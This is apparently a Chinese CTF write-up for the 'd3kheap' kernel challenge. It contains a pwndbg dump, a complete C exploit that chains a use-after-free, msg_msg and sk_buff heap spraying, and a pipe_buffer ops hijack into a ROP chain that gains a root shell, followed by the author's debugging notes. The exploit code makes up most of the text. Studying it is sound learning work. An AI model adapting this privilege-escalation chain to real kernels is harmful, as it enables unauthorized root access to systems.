17
18
pwndbg> telescope 0xffff9799c2864800
00:0000│ rsi 0xffff9799c2864800 ◂— jns 0xffff9799c286486a /* 0x776f6c6c656879; 'yhellow' */
01:00080xffff9799c2864808 —▸ 0xffff9799c2864800 ◂— jns 0xffff9799c286486a /* 0x776f6c6c656879; 'yhellow' */
02:00100xffff9799c2864810 ◂— 0
03:00180xffff9799c2864818 ◂— 0x3d0
04:00200xffff9799c2864820 —▸ 0xffffffff8de938f0 ◂— pop rdi
05:00280xffff9799c2864828 —▸ 0xffffffff8fa6d580 ◂— 4
06:00300xffff9799c2864830 —▸ 0xffffffff8ded25c0 ◂— nop dword ptr [rax + rax]
07:00380xffff9799c2864838 —▸ 0xffffffff8ea01006 ◂— mov rdi, rsp
pwndbg>
08:00400xffff9799c2864840 ◂— jns 0xffff9799c28648aa /* 0x776f6c6c656879; 'yhellow' */
09:00480xffff9799c2864848 ◂— jns 0xffff9799c28648b2 /* 0x776f6c6c656879; 'yhellow' */
0a:00500xffff9799c2864850 —▸ 0x401e87 ◂— push rbp
0b:00580xffff9799c2864858 ◂— 0x33 /* '3' */
0c:00600xffff9799c2864860 ◂— 0x246
0d:00680xffff9799c2864868 —▸ 0x7fffe7eb2ad0 —▸ 0x7fffe7eb7400 —▸ 0x403950 ◂— endbr64
0e:00700xffff9799c2864870 ◂— 0x2b /* '+' */
0f:00780xffff9799c2864878 ◂— 0

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400

#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA

#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 256
#define MSG_QUEUE_NUM 4096

#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
#define FREE_PIPE_INFO 0xffffffff81327570
#define POP_R14_POP_RBP_RET 0xffffffff81003364
#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede
#define CALL_RSI_PTR 0xffffffff8105acec

size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;

long dev_fd;
int pipe_fd[2], pipe_fd2[2], pipe_fd_1;

/*
* skb_shared_info need to take 320 bytes at the tail
* so the max size of buf we should send is:
* 1024 - 320 = 704
*/
char fake_secondary_msg[704];

void add(void)
{
ioctl(dev_fd, 0x1234);
}

void del(void)
{
ioctl(dev_fd, 0xdead);
}

size_t user_cs, user_ss, user_sp, user_rflags;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

struct list_head
{
uint64_t next;
uint64_t prev;
};

struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg
{
uint64_t next;
};

struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;

struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;

struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;

struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};

struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT); // IPC_NOWAIT:若没有收到消息则立即返回-1
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next,uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
// printf("[-] now %d, num %d\n", i, j);
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}

int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}

void getRootShell(void)
{
if (getuid())
errExit("failed to gain the root!");

printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}

int main(int argc, char **argv, char **envp)
{
int oob_pipe_fd[2];
int sk_sockets[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
int msqid[MSG_QUEUE_NUM];
int victim_qid, real_qid;
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t victim_addr;
uint64_t kernel_base;
uint64_t kernel_offset;
uint64_t *rop_chain;
int rop_idx;
cpu_set_t cpu_set;

saveStatus();

/*
* Step.O
* Initialization
*/
dev_fd = open("/dev/d3kheap", O_RDONLY);

/*
* Step.I
* build msg_queue, spray primary and secondary msg_msg,
* and use OOB write to construct the overlapping
*/
puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");

puts("[*] Build message queue...");
// build 4096 message queue
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}

puts("[*] Spray primary and secondary msg_msg...");

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));

// get a free object
add();

// spray primary and secondary message
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");

if (i == 1024)
del();
}

/*
* Step.II
* construct UAF
*/
puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");

// free the victim secondary msg_msg, then we get a UAF
puts("[*] Trigger UAF...");
del();

// socket pairs to spray sk_buff
for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");

// spray sk_buff to mark the UAF msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE, 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// find out the UAF queue
victim_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
/*
* the msg_msg got changed, so we can't read out
* but it tells us which one the victim is
*/
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
{
printf("[+] victim qid: %d\n", i);
victim_qid = i;
}
}

if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");

if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");

/*
* Step.III
* spray sk_buff to leak msg_msg addr
* construct fake msg_msg to leak addr of UAF obj
*/
puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");

// spray sk_buff to construct fake msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// use fake msg_msg to read OOB
puts("[*] OOB read from victim msg_msg");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");

if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");

nearby_msg = (struct msg_msg*)&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];

printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", nearby_msg->m_list.prev);

// release and re-spray sk_buff to construct fake msg_msg
// so that we can make an arbitrary read on a primary msg_msg
if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), nearby_msg->m_list.prev - 8, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

puts("[*] arbitrary read on primary msg of msg nearby victim");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");

if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
errExit("failed to rehit the UAF object!");

// cal the addr of UAF obj by the header we just read out
nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = nearby_msg_prim->m_list.next - 0x400;

printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", nearby_msg_prim->m_list.next);
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);

/*
* Step.IV
* fix the header of UAF obj and release it
* spray pipe_buffer and leak the kernel base
*/
puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");

// re-construct the msg_msg to fix it
puts("[*] fixing the UAF obj as a msg_msg...");
if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr, victim_addr, VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// release UAF obj as secondary msg
puts("[*] release UAF obj in message queue...");
if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
errExit("failed to receive secondary msg!");

// spray pipe_buffer
puts("[*] spray pipe_buffer...");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");

// write something to activate it
if (write(pipe_fd[i][1], "yhellow", 8) < 0)
errExit("failed to write the pipe!");
}

// release the sk_buff to read pipe_buffer, leak kernel base
puts("[*] release sk_buff to read pipe_buffer...");
pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n", pipe_buf_ptr->ops);
kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}

printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n", kernel_base, kernel_offset);

/*
* Step.V
* hijack the ops of pipe_buffer
* free all pipe to trigger fake ptr
* so that we hijack the RIP
* construct a ROP on pipe_buffer
*/
puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");

puts("[*] pre-construct data in userspace...");
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->page = *(uint64_t*) "yhellow";
pipe_buf_ptr->ops = victim_addr + 0x100;

ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100];
ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset;

rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;

puts("[*] spray sk_buff to hijack pipe_buffer...");
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// for gdb attach only
printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
sleep(5);

puts("[*] trigger fake ops->release to hijack RIP...");
for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}

小结:

太菜了,只能对着别人的 wp 进行调试,不过还是学到了不少东西:

  • msg_msgsk_buff 的组合利用
  • 两种关于 msg_msg 的泄露技巧(修改 msg_msg->m_ts 或者 msg_msg->next
  • 利用 pipe_buffer 泄露内核基地址,或者劫持RIP

补充:

我仿照官方 exp 又自己打了一边,发现了许多之前没有理解的细节问题(改BUG真辛苦),接下来补充一些内容:

1
2
buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE, 0, 0);
peekMsg(msqid[i],&secondary_msg,sizeof(secondary_msg),1);
1
2
buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg),1);
  • 第一个 peekMsg 因为修改了 msg->m_ts 而报错
  • 第二个 peekMsg 也修改了 msg->m_ts 但是没有报错

刚开始以为是:

  • msg->m_ts 大于 sizeof(secondary_msg) 导致 secondary_msg 溢出,而后续的 sizeof(oob_msg) 足够大,不会溢出

后来又发现了新的内容:

  • 这里修改了 msg->m_list 也是有影响的:
    • 设置了 MSG_COPY 标志位,内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink
    • 如果没有设置 MSG_COPY,则我们随便设置的 msg->m_list 一定会在 unlink 时报错
1
2
3
peekMsg(msqid[i],&secondary_msg,sizeof(secondary_msg),1);
peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg),1);
readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE);

之前提到过:msgtyp > 0 ,返回队列中消息类型为 msgtyp 的消息:

  • readMsg 使用 VICTIM_MSG_TYPE 来获取对应的 UAF(遵守了这样的规则)
  • peekMsg 使用的 msgtyp 都是“1”(并且非“1”不可)
  • 这里还有点搞不懂,首先我把接收的数据打印出来,确定了 msgtyp 的确是 SECONDARY_MSG_TYPE,但把 msgtyp 改为 SECONDARY_MSG_TYPE 后反而接收不了数据了,然后我尝试修改 SECONDARY_MSG_TYPE 的值,发现并不影响结果,我感觉这是内核版本的问题(之后找机会看看源码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}

int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}

这里调用多次调用 writeread 是为了提高 sk_buff 命中 UAF 的概率

  • PS:后面泄露 kernel_base 的时候一定要 read 所有的 sk_buffsk_buff 读取后释放),不然之后的 spraySkBuff 会因为 sk_buff 存在而 write 失败,从而导致程序卡住